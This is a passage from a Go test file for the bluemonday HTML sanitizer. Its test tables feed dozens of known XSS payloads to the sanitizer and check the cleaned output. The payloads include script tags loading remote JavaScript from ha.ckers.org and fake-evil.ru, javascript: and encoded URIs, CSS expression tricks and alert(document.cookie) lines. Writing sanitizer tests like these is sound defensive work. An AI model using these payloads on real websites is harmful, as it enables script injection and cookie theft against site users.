580			in:       `AqC2sr44HVueGzgW13zHvJkqOEBWA8XA66ZEb3EoL1ehypSnJ07cFoWZlO8kf3k57L1fuHFWJ6quEdLXQaT9SJKHlUaYQvanvjbBlqWwaH3hODNsBGoK0DatpoQ+FxcSkdVE/ki3rbEUuJiZzU0BnDxH+Q6FiNsBaJuwau29w24MlD28ELJsjCcUVwtTQkaNtUxIlFKHLj0++T+IVrQH8KZlmVLvDefJ6llWbrFNVuh674HfKr/GEUatG6KI4gWNtGKKRYh76mMl5xH5qDfBZqxyRaKylJaDIYbx5xP5I4DDm4gOnxH+h/Pu6dq6FJ/U3eDio/KQ9xwFqTuyjH0BIRBsvWWgbTNURVBheq+am92YBhkj1QmdKTxQ9fQM55O8DpyWzRhky0NevM9j`,
581			expected: `AqC2sr44HVueGzgW13zHvJkqOEBWA8XA66ZEb3EoL1ehypSnJ07cFoWZlO8kf3k57L1fuHFWJ6quEdLXQaT9SJKHlUaYQvanvjbBlqWwaH3hODNsBGoK0DatpoQ+FxcSkdVE/ki3rbEUuJiZzU0BnDxH+Q6FiNsBaJuwau29w24MlD28ELJsjCcUVwtTQkaNtUxIlFKHLj0++T+IVrQH8KZlmVLvDefJ6llWbrFNVuh674HfKr/GEUatG6KI4gWNtGKKRYh76mMl5xH5qDfBZqxyRaKylJaDIYbx5xP5I4DDm4gOnxH+h/Pu6dq6FJ/U3eDio/KQ9xwFqTuyjH0BIRBsvWWgbTNURVBheq+am92YBhkj1QmdKTxQ9fQM55O8DpyWzRhky0NevM9j`,
582		},
583		{
584			in:       `qkFfS3WfLyj3QTQT9i/s57uOPQCTN1jrab8bwxaxyeYUlz2tEtYyKGGUufua8WzdBT2VvWTvH0JkK0LfUJ+vChvcnMFna+tEaCKCFMIOWMLYVZSJDcYMIqaIr8d0Bi2bpbVf5z4WNma0pbCKaXpkYgeg1Sb8HpKG0p0fAez7Q/QRASlvyM5vuIOH8/CM4fF5Ga6aWkTRG0lfxiyeZ2vi3q7uNmsZF490J79r/6tnPPXIIC4XGnijwho5NmhZG0XcQeyW5KnT7VmGACFdTHOb9oS5WxZZU29/oZ5Y23rBBoSDX/xZ1LNFiZk6Xfl4ih207jzogv+3nOro93JHQydNeKEwxOtbKqEe7WWJLDw/EzVdJTODrhBYKbjUce10XsavuiTvv+H1Qh4lo2Vx`,
585			expected: `qkFfS3WfLyj3QTQT9i/s57uOPQCTN1jrab8bwxaxyeYUlz2tEtYyKGGUufua8WzdBT2VvWTvH0JkK0LfUJ+vChvcnMFna+tEaCKCFMIOWMLYVZSJDcYMIqaIr8d0Bi2bpbVf5z4WNma0pbCKaXpkYgeg1Sb8HpKG0p0fAez7Q/QRASlvyM5vuIOH8/CM4fF5Ga6aWkTRG0lfxiyeZ2vi3q7uNmsZF490J79r/6tnPPXIIC4XGnijwho5NmhZG0XcQeyW5KnT7VmGACFdTHOb9oS5WxZZU29/oZ5Y23rBBoSDX/xZ1LNFiZk6Xfl4ih207jzogv+3nOro93JHQydNeKEwxOtbKqEe7WWJLDw/EzVdJTODrhBYKbjUce10XsavuiTvv+H1Qh4lo2Vx`,
586		},
587		{
588			in:       `O900/Gn82AjyLYqiWZ4ILXBBv/ZaXpTpQL0p9nv7gwF2MWsS2OWEImcVDa+1ElrjUumG6CVEv/rvax53krqJJDg+4Z/XcHxv58w6hNrXiWqFNjxlu5RZHvj1oQQXnS2n8qw8e/c+8ea2TiDIVr4OmgZz1G9uSPBeOZJvySqdgNPMpgfjZwkL2ez9/x31sLuQxi/FW3DFXU6kGSUjaq8g/iGXlaaAcQ0t9Gy+y005Z9wpr2JWWzishL+1JZp9D4SY/r3NHDphN4MNdLHMNBRPSIgfsaSqfLraIt+zWIycsd+nksVxtPv9wcyXy51E1qlHr6Uygz2VZYD9q9zyxEX4wRP2VEewHYUomL9d1F6gGG5fN3z82bQ4hI9uDirWhneWazUOQBRud5otPOm9`,
589			expected: `O900/Gn82AjyLYqiWZ4ILXBBv/ZaXpTpQL0p9nv7gwF2MWsS2OWEImcVDa+1ElrjUumG6CVEv/rvax53krqJJDg+4Z/XcHxv58w6hNrXiWqFNjxlu5RZHvj1oQQXnS2n8qw8e/c+8ea2TiDIVr4OmgZz1G9uSPBeOZJvySqdgNPMpgfjZwkL2ez9/x31sLuQxi/FW3DFXU6kGSUjaq8g/iGXlaaAcQ0t9Gy+y005Z9wpr2JWWzishL+1JZp9D4SY/r3NHDphN4MNdLHMNBRPSIgfsaSqfLraIt+zWIycsd+nksVxtPv9wcyXy51E1qlHr6Uygz2VZYD9q9zyxEX4wRP2VEewHYUomL9d1F6gGG5fN3z82bQ4hI9uDirWhneWazUOQBRud5otPOm9`,
590		},
591		{
592			in:       `C3c+d5Q9lyTafPLdelG1TKaLFinw1TOjyI6KkrQyHKkttfnO58WFvScl1TiRcB/iHxKahskoE2+VRLUIhctuDU4sUvQh/g9Arw0LAA4QTxuLFt01XYdigurz4FT15ox2oDGGGrRb3VGjDTXK1OWVJoLMW95EVqyMc9F+Fdej85LHE+8WesIfacjUQtTG1tzYVQTfubZq0+qxXws8QrxMLFtVE38tbeXo+Ok1/U5TUa6FjWflEfvKY3XVcl8RKkXua7fVz/Blj8Gh+dWe2cOxa0lpM75ZHyz9adQrB2Pb4571E4u2xI5un0R0MFJZBQuPDc1G5rPhyk+Hb4LRG3dS0m8IASQUOskv93z978L1+Abu9CLP6d6s5p+BzWxhMUqwQXC/CCpTywrkJ0RG`,
593			expected: `C3c+d5Q9lyTafPLdelG1TKaLFinw1TOjyI6KkrQyHKkttfnO58WFvScl1TiRcB/iHxKahskoE2+VRLUIhctuDU4sUvQh/g9Arw0LAA4QTxuLFt01XYdigurz4FT15ox2oDGGGrRb3VGjDTXK1OWVJoLMW95EVqyMc9F+Fdej85LHE+8WesIfacjUQtTG1tzYVQTfubZq0+qxXws8QrxMLFtVE38tbeXo+Ok1/U5TUa6FjWflEfvKY3XVcl8RKkXua7fVz/Blj8Gh+dWe2cOxa0lpM75ZHyz9adQrB2Pb4571E4u2xI5un0R0MFJZBQuPDc1G5rPhyk+Hb4LRG3dS0m8IASQUOskv93z978L1+Abu9CLP6d6s5p+BzWxhMUqwQXC/CCpTywrkJ0RG`,
594		},
595		// Basic XSS
596		{
597			in:       `test<script>alert(document.cookie)</script>`,
598			expected: `test`,
599		},
600		{
601			in:       `<<<><<script src=http://fake-evil.ru/test.js>`,
602			expected: `&lt;&lt;&lt;&gt;&lt;`,
603		},
604		{
605			in:       `<script<script src=http://fake-evil.ru/test.js>>`,
606			expected: `&gt;`,
607		},
608		{
609			in:       `<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
610			expected: ``,
611		},
612		{
613			in:       "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
614			expected: ``,
615		},
616		{
617			in:       `<BODY ONLOAD=alert('XSS')>`,
618			expected: ``,
619		},
620		{
621			in:       `<iframe src=http://ha.ckers.org/scriptlet.html <`,
622			expected: ``,
623		},
624		{
625			in:       `<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"">`,
626			expected: `<input type="IMAGE">`,
627		},
628		{
629			in:       `<a onblur="alert(secret)" href="http://www.google.com">Google</a>`,
630			expected: `<a href="http://www.google.com">Google</a>`,
631		},
632		// IMG attacks
633		{
634			in:       `<img src="http://www.myspace.com/img.gif"/>`,
635			expected: `<img src="http://www.myspace.com/img.gif"/>`,
636		},
637		{
638			in:       `<img src=javascript:alert(document.cookie)>`,
639			expected: ``,
640		},
641		{
642			in:       `<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>`,
643			expected: ``,
644		},
645		{
646			in:       `<IMG SRC='&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041'>`,
647			expected: ``,
648		},
649		{
650			in:       `<IMG SRC="jav&#x0D;ascript:alert('XSS');">`,
651			expected: ``,
652		},
653		{
654			in:       `<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>`,
655			expected: ``,
656		},
657		{
658			in:       `<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>`,
659			expected: ``,
660		},
661		{
662			in:       `<IMG SRC="javascript:alert('XSS')"`,
663			expected: ``,
664		},
665		{
666			in:       `<IMG LOWSRC="javascript:alert('XSS')">`,
667			expected: ``,
668		},
669		{
670			in:       `<BGSOUND SRC="javascript:alert('XSS');">`,
671			expected: ``,
672		},
673		// HREF attacks
674		{
675			in:       `<LINK REL="stylesheet" HREF="javascript:alert('XSS');">`,
676			expected: ``,
677		},
678		{
679			in:       `<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">`,
680			expected: ``,
681		},
682		{
683			in:       `<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>`,
684			expected: ``,
685		},
686		{
687			in:       `<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>`,
688			expected: ``,
689		},
690		{
691			in:       `<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS`,
692			expected: `<ul><li>XSS`,
693		},
694		{
695			in:       `<IMG SRC='vbscript:msgbox("XSS")'>`,
696			expected: ``,
697		},
698		{
699			in:       `<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">`,
700			expected: ``,
701		},
702		{
703			in:       `<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">`,
704			expected: ``,
705		},
706		{
707			in:       `<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">`,
708			expected: ``,
709		},
710		{
711			in:       `<IFRAME SRC="javascript:alert('XSS');"></IFRAME>`,
712			expected: ``,
713		},
714		{
715			in:       `<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>`,
716			expected: ``,
717		},
718		{
719			in:       `<TABLE BACKGROUND="javascript:alert('XSS')">`,
720			expected: ``,
721		},
722		{
723			in:       `<TABLE><TD BACKGROUND="javascript:alert('XSS')">`,
724			expected: `<td>`,
725		},
726		{
727			in:       `<DIV STYLE="background-image: url(javascript:alert('XSS'))">`,
728			expected: `<div>`,
729		},
730		{
731			in:       `<DIV STYLE="width: expression(alert('XSS'));">`,
732			expected: `<div>`,
733		},
734		{
735			in:       `<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">`,
736			expected: ``,
737		},
738		{
739			in:       `<STYLE>@im\\port'\\ja\\vasc\\ript:alert("XSS")';</STYLE>`,
740			expected: ``,
741		},
742		{
743			in:       `<BASE HREF="javascript:alert('XSS');//">`,
744			expected: ``,
745		},
746		{
747			in:       `<BaSe hReF="http://arbitrary.com/">`,
748			expected: ``,
749		},
750		{
751			in:       `<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>`,
752			expected: ``,
753		},
754		{
755			in:       `<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>`,
756			expected: ``,
757		},
758		{
759			in:       `<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>`,
760			expected: ``,
761		},
762		{
763			in:       `<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>`,
764			expected: ``,
765		},
766		{
767			in:       `<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
768			expected: ``,
769		},
770		{
771			in:       `<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
772			expected: ``,
773		},
774		{
775			in:       "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
776			expected: ``,
777		},
778		{
779			in:       `<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
780			expected: ``,
781		},
782		{
783			in:       `<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
784			expected: `PT SRC=&#34;http://ha.ckers.org/xss.js&#34;&gt;`,
785		},
786		{
787			in:       `<SCRIPT SRC=http://ha.ckers.org/xss.js`,
788			expected: ``,
789		},
790		{
791			in:       `<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>`,
792			expected: `<div>`,
793		},
794		{
795			in:       `<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>`,
796			expected: ``,
797		},
798		{
799			in:       `<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->`,
800			expected: `test--&gt;`,
801		},
802		{
803			in:       `<a></a style="xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')">`,
804			expected: ``,
805		},
806		// CSS attacks
807		{
808			in:       `<div style="position:absolute">`,
809			expected: `<div>`,
810		},
811		{
812			in:       `<style>b { position:absolute }</style>`,
813			expected: ``,
814		},
815		{
816			in:       `<div style="z-index:25">test</div>`,
817			expected: `<div>test</div>`,
818		},
819		{
820			in:       `<style>z-index:25</style>`,
821			expected: ``,
822		},
823		// Strings that cause issues for tokenizers
824		{
825			in:       `<a - href="http://www.test.com">`,
826			expected: `<a href="http://www.test.com">`,
827		},
828		// Comments
829		{
830			in:       `text <!-- comment -->`,
831			expected: `text `,
832		},
833		{
834			in:       `<div>text <!-- comment --></div>`,
835			expected: `<div>text </div>`,
836		},
837		{
838			in:       `<div>text <!--[if IE]> comment <[endif]--></div>`,
839			expected: `<div>text </div>`,
840		},
841		{
842			in:       `<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>`,
843			expected: `<div>text &lt;[endif]--&gt;</div>`,
844		},
845		{
846			in:       `<div>text <!--[if IE]> <!-- IE specific --> comment <[endif]--></div>`,
847			expected: `<div>text  comment &lt;[endif]--&gt;</div>`,
848		},
849		{
850			in:       `<div>text <!-- [ if lte 6 ]>\ncomment <[ endif\n]--></div>`,
851			expected: `<div>text </div>`,
852		},
853		{
854			in:       `<div>text <![if !IE]> comment <![endif]></div>`,
855			expected: `<div>text  comment </div>`,
856		},
857		{
858			in:       `<div>text <![ if !IE]> comment <![endif]></div>`,
859			expected: `<div>text  comment </div>`,
860		},
861	}
862
863	// These tests are run concurrently to enable the race detector to pick up
864	// potential issues
865	wg := sync.WaitGroup{}
866	wg.Add(len(tests))
867	for ii, tt := range tests {
868		go func(ii int, tt test) {
869			out := p.Sanitize(tt.in)
870			if out != tt.expected {
871				t.Errorf(
872					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
873					ii,
874					tt.in,
875					out,
876					tt.expected,
877				)
878			}
879			wg.Done()
880		}(ii, tt)
881	}
882	wg.Wait()
883}
884
885func TestXSS(t *testing.T) {
886
887	p := UGCPolicy()
888
889	tests := []test{
890		{
891			in:       `<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>`,
892			expected: `XSS`,
893		},
894		{
895			in: `<A HREF="h
896tt	p://6	6.000146.0x7.147/">XSS</A>`,
897			expected: `XSS`,
898		},
899		{
900			in:       `<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
901			expected: `PT SRC=&#34;http://ha.ckers.org/xss.js&#34;&gt;`,
902		},
903		{
904			in:       `<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
905			expected: ``,
906		},
907		{
908			in:       "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
909			expected: ``,
910		},
911		{
912			in:       `<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
913			expected: ``,
914		},
915		{
916			in:       `<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
917			expected: ``,
918		},
919		{
920			in:       `<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
921			expected: ``,
922		},
923		{
924			in:       `<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
925			expected: ``,
926		},
927		{
928			in:       `<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS')`,
929			expected: ` +ADw-SCRIPT+AD4-alert(&#39;XSS&#39;)`,
930		},
931		{
932			in:       `<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">`,
933			expected: ``,
934		},
935		{
936			in: `<? echo('<SCR)';
937echo('IPT>alert("XSS")</SCRIPT>'); ?>`,
938			expected: `alert(&#34;XSS&#34;)&#39;); ?&gt;`,
939		},
940		{
941			in:       `<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->`,
942			expected: ``,
943		},
944		{
945			in: `<HTML><BODY>
946<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
947<?import namespace="t" implementation="#default#time2">
948<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
949</BODY></HTML>`,
950			expected: "\n\n\n&#34;&gt;\n",
951		},
952		{
953			in: `<XML SRC="xsstest.xml" ID=I></XML>
954<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>`,
955			expected: `
956<span></span>`,
957		},
958		{
959			in: `<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
960<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>`,
961			expected: `<i><b></b></i>
962<span></span>`,
963		},
964		{
965			in:       `<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>`,
966			expected: ``,
967		},
968		{
969			in:       `<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>`,
970			expected: ``,
971		},
972		{
973			in:       `<BASE HREF="javascript:alert('XSS');//">`,
974			expected: ``,
975		},
976		{
977			in:       `<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->`,
978			expected: ``,
979		},
980		{
981			in:       `<DIV STYLE="width: expression(alert('XSS'));">`,
982			expected: `<div>`,
983		},
984		{
985			in:       `<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">`,
986			expected: `<div>`,
987		},
988		{
989			in:       `<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">`,
990			expected: `<div>`,
991		},
992		{
993			in:       `<DIV STYLE="background-image: url(javascript:alert('XSS'))">`,
994			expected: `<div>`,
995		},
996		{
997			in:       `<TABLE><TD BACKGROUND="javascript:alert('XSS')">`,
998			expected: `<table><td>`,
999		},
1000		{
1001			in:       `<TABLE BACKGROUND="javascript:alert('XSS')">`,
1002			expected: `<table>`,
1003		},
1004		{
1005			in:       `<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>`,
1006			expected: ``,
1007		},
1008		{
1009			in:       `<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>`,
1010			expected: ``,
1011		},
1012		{
1013			in:       `<IFRAME SRC="javascript:alert('XSS');"></IFRAME>`,
1014			expected: ``,
1015		},
1016		{
1017			in:       `<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">`,
1018			expected: ``,
1019		},
1020		{
1021			in:       `<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">`,
1022			expected: ``,
1023		},
1024		{
1025			in:       `<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">`,
1026			expected: ``,
1027		},
1028		{
1029			in:       `<XSS STYLE="behavior: url(xss.htc);">`,
1030			expected: ``,
1031		},
1032		{
1033			in:       `<XSS STYLE="xss:expression(alert('XSS'))">`,
1034			expected: ``,
1035		},
1036		{
1037			in:       `<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>`,
1038			expected: ``,
1039		},
1040		{
1041			in:       `<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>`,
1042			expected: ``,
1043		},
1044		{
1045			in:       `<STYLE TYPE="text/javascript">alert('XSS');</STYLE>`,
1046			expected: ``,
1047		},
1048		{
1049			in:       `<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">`,
1050			expected: ``,
1051		},
1052		{
1053			in:       `<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>`,
1054			expected: ``,
1055		},
1056		{
1057			in:       `<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>`,
1058			expected: ``,
1059		},
1060		{
1061			in:       `<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">`,
1062			expected: ``,
1063		},
1064		{
1065			in:       `<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>`,
1066			expected: ``,
1067		},
1068		{
1069			in:       `<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">`,
1070			expected: ``,
1071		},
1072		{
1073			in:       `<LINK REL="stylesheet" HREF="javascript:alert('XSS');">`,
1074			expected: ``,
1075		},
1076		{
1077			in:       `<BR SIZE="&{alert('XSS')}">`,
1078			expected: `<br>`,
1079		},
1080		{
1081			in:       `<BGSOUND SRC="javascript:alert('XSS');">`,
1082			expected: ``,
1083		},
1084		{
1085			in:       `<BODY ONLOAD=alert('XSS')>`,
1086			expected: ``,
1087		},
1088		{
1089			in:       `<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>`,
1090			expected: `<ul><li>XSS</br>`,
1091		},
1092		{
1093			in:       `<IMG LOWSRC="javascript:alert('XSS')">`,
1094			expected: ``,
1095		},
1096		{
1097			in:       `<IMG DYNSRC="javascript:alert('XSS')">`,
1098			expected: ``,
1099		},
1100		{
1101			in:       `<BODY BACKGROUND="javascript:alert('XSS')">`,
1102			expected: ``,
1103		},
1104		{
1105			in:       `<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">`,
1106			expected: ``,
1107		},
1108		{
1109			in:       `</TITLE><SCRIPT>alert("XSS");</SCRIPT>`,
1110			expected: ``,
1111		},
1112		{
1113			in:       `\";alert('XSS');//`,
1114			expected: `\&#34;;alert(&#39;XSS&#39;);//`,
1115		},
1116		{
1117			in:       `<iframe src=http://ha.ckers.org/scriptlet.html <`,
1118			expected: ``,
1119		},
1120		{
1121			in:       `<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >`,
1122			expected: ``,
1123		},
1124		{
1125			in:       `<<SCRIPT>alert("XSS");//<</SCRIPT>`,
1126			expected: `&lt;`,
1127		},
1128		{
1129			in:       "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
1130			expected: ``,
1131		},
1132		{
1133			in:       `<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
1134			expected: ``,
1135		},
1136		{
1137			in:       `<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
1138			expected: ``,
1139		},
1140		{
1141			in:       `<IMG SRC=" &#14;  javascript:alert('XSS');">`,
1142			expected: ``,
1143		},
1144		{
1145			in:       `<IMG SRC="jav&#x0A;ascript:alert('XSS');">`,
1146			expected: ``,
1147		},
1148		{
1149			in:       `<IMG SRC="jav&#x09;ascript:alert('XSS');">`,
1150			expected: ``,
1151		},
1152		{
1153			in: `<IMG SRC="jav	ascript:alert('XSS');">`,
1154			expected: ``,
1155		},
1156		{
1157			in:       `<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>`,
1158			expected: ``,
1159		},
1160		{
1161			in: `<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
1162#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>`,
1163			expected: ``,
1164		},
1165		{
1166			in: `<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
1167&#39;&#88;&#83;&#83;&#39;&#41;>`,
1168			expected: ``,
1169		},
1170		{
1171			in:       `<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>`,
1172			expected: `<img src="/"></img>`,
1173		},
1174		{
1175			in:       `<IMG onmouseover="alert('xxs')">`,
1176			expected: ``,
1177		},
1178		{
1179			in:       `<IMG SRC= onmouseover="alert('xxs')">`,
1180			expected: `<img src="onmouseover=%22alert%28%27xxs%27%29%22">`,
1181		},
1182		{
1183			in:       `<IMG SRC=# onmouseover="alert('xxs')">`,
1184			expected: ``,
1185		},
1186		{
1187			in:       `<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`,
1188			expected: ``,
1189		},
1190		{
1191			in:       `<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`,
1192			expected: `&#34;&gt;`,
1193		},
1194		{
1195			in:       `<IMG SRC=javascript:alert("XSS")>`,
1196			expected: ``,
1197		},
1198		{
1199			in:       `<IMG SRC=JaVaScRiPt:alert('XSS')>`,
1200			expected: ``,
1201		},
1202		{
1203			in:       `<IMG SRC=javascript:alert('XSS')>`,
1204			expected: ``,
1205		},
1206		{
1207			in:       `<IMG SRC="javascript:alert('XSS');">`,
1208			expected: ``,
1209		},
1210		{
1211			in:       `<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>`,
1212			expected: ``,
1213		},
1214		{
1215			in:       `'';!--"<XSS>=&{()}`,
1216			expected: `&#39;&#39;;!--&#34;=&amp;{()}`,
1217		},
1218		{
1219			in:       `';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>`,
1220			expected: `&#39;;alert(String.fromCharCode(88,83,83))//&#39;;alert(String.fromCharCode(88,83,83))//&#34;;alert(String.fromCharCode(88,83,83))//&#34;;alert(String.fromCharCode(88,83,83))//--&gt;&#34;&gt;&#39;&gt;`,
1221		},
1222	}
1223
1224	// These tests are run concurrently to enable the race detector to pick up
1225	// potential issues
1226	wg := sync.WaitGroup{}
1227	wg.Add(len(tests))
1228	for ii, tt := range tests {
1229		go func(ii int, tt test) {
1230			out := p.Sanitize(tt.in)
1231			if out != tt.expected {
1232				t.Errorf(
1233					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
1234					ii,
1235					tt.in,
1236					out,
1237					tt.expected,
1238				)
1239			}
1240			wg.Done()
1241		}(ii, tt)
1242	}
1243	wg.Wait()
1244}
1245
1246func TestIssue3(t *testing.T) {
1247	// https://github.com/microcosm-cc/bluemonday/issues/3
1248
1249	p := UGCPolicy()
1250	p.AllowStyling()
1251
1252	tests := []test{
1253		{
1254			in:       `Hello <span class="foo bar bash">there</span> world.`,
